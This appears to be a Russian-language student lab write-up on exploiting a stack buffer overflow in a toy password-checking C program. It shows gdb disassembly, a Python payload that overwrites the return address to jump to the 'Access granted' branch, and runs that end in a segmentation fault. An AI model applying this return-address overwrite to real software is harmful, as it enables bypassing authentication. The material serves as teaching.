

Проверка корректности пароля осуществляется инструкцией **jne**, которая при ненулевом результате функции **IsPassOk** передаёт управление на адрес 0x4011d8. Данный адрес соответствует ветке программы, выводящей сообщение «Access granted!».

```
Dump of assembler code for function main:
0x0000000000401196 <+0>:      endbr64
0x000000000040119a <+4>:      push    %rbp
0x000000000040119b <+5>:      mov     %rsp,%rbp
0x000000000040119e <+8>:      sub     $0x10,%rsp
0x00000000004011a2 <+12>:     lea     0xe5b(%rip),%rax      # 0x402004
0x00000000004011a9 <+19>:     mov     %rax,%rdi
0x00000000004011ac <+22>:     call    0x401070 <puts@plt>
0x00000000004011b1 <+27>:     call    0x4011ee <IsPassOk>
0x00000000004011b6 <+32>:     mov     %eax,-0x4(%rbp)
0x00000000004011b9 <+35>:     cmpl    $0x0,-0x4(%rbp)
0x00000000004011bd <+39>:     jne     0x4011d8 <main+66>
0x00000000004011bf <+41>:     lea     0xe4e(%rip),%rax      # 0x402014
0x00000000004011c6 <+48>:     mov     %rax,%rdi
0x00000000004011c9 <+51>:     call    0x401070 <puts@plt>
0x00000000004011ce <+56>:     mov     $0x1,%edi
0x00000000004011d3 <+61>:     call    0x4010a0 <exit@plt>
0x00000000004011d8 <+66>:     lea     0xe43(%rip),%rax      # 0x402022
0x00000000004011df <+73>:     mov     %rax,%rdi
0x00000000004011e2 <+76>:     call    0x401070 <puts@plt>
0x00000000004011e7 <+81>:     mov     $0x0,%eax
0x00000000004011ec <+86>:     leave
0x00000000004011ed <+87>:     ret
End of assembler dump.
```

Узнаем длину массива(12 байт)

```
Dump of assembler code for function IsPassOk:
0x00000000004011ee <+0>:      endbr64
0x00000000004011f2 <+4>:      push    %rbp
0x00000000004011f3 <+5>:      mov     %rsp,%rbp
0x00000000004011f6 <+8>:      sub     $0x10,%rsp
0x00000000004011fa <+12>:     lea     -0xc(%rbp),%rax ←
0x00000000004011fe <+16>:     mov     %rax,%rdi
0x0000000000401201 <+19>:     mov     $0x0,%eax
0x0000000000401206 <+24>:     call    0x401090 <gets@plt>
0x000000000040120b <+29>:     lea     -0xc(%rbp),%rax
0x000000000040120f <+33>:     lea     0xe1c(%rip),%rdx      # 0x402032
0x0000000000401216 <+40>:     mov     %rdx,%rsi
0x0000000000401219 <+43>:     mov     %rax,%rdi
0x000000000040121c <+46>:     call    0x401080 <strcmp@plt>
0x0000000000401221 <+51>:     test    %eax,%eax
0x0000000000401223 <+53>:     sete    %al
0x0000000000401226 <+56>:     movzbl  %al,%eax
0x0000000000401229 <+59>:     leave
0x000000000040122a <+60>:     ret
End of assembler dump.
```

Формируем ввод для перезаписи адреса возврата с использованием перенаправления ввода <

```
zadanie4 > input.bin
1 python3 - << 'EOF'
2 import sys
3 sys.stdout.buffer.write(
4     b"A"*24 +
5     b"\xd8\x11\x40\x00\x00\x00\x00"
6 )
7 EOF > input.bin
8
```

Еще раз компилируем с флагами из задания

```
loritash@HUAWEILAPTOP:~/nek_eltex/zadanie4$ gcc -fno-stack-protector -no-pie zadanie4_1.c
zadanie4_1.c: In function 'IsPassOk':
zadanie4_1.c:27:1: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [-Wimplicit-function-declaration]
27 | gets(Pass);
   | ^~~~~
   | fgets
/usr/bin/ld: /tmp/ccKPeHxa.o: in function `IsPassOk':
zadanie4_1.c:(.text+0x71): warning: the `gets' function is dangerous and should not be used.
loritash@HUAWEILAPTOP:~/nek_eltex/zadanie4$
```

И запускаем с перенаправлением ввода

```
loritash@HUAWEILAPTOP:~/nek_eltex/zadanie4$ ./a.out < input.bin
Enter password:
Segmentation fault (core dumped)
loritash@HUAWEILAPTOP:~/nek_eltex/zadanie4$
```

Получаем ошибку сегментации(

Пробовал gets поменять на fgets получал Bad password! Наверное из-за того что fgets предотвращает переполнение буфера

```
loritash@HUAWEILAPTOP:~/nek_eltex/zadanie4$ gcc -fno-stack-protector -no-pie zadanie4_1.c
loritash@HUAWEILAPTOP:~/nek_eltex/zadanie4$ ./a.out < input.bin
Enter password:
Bad password!
loritash@HUAWEILAPTOP:~/nek_eltex/zadanie4$
```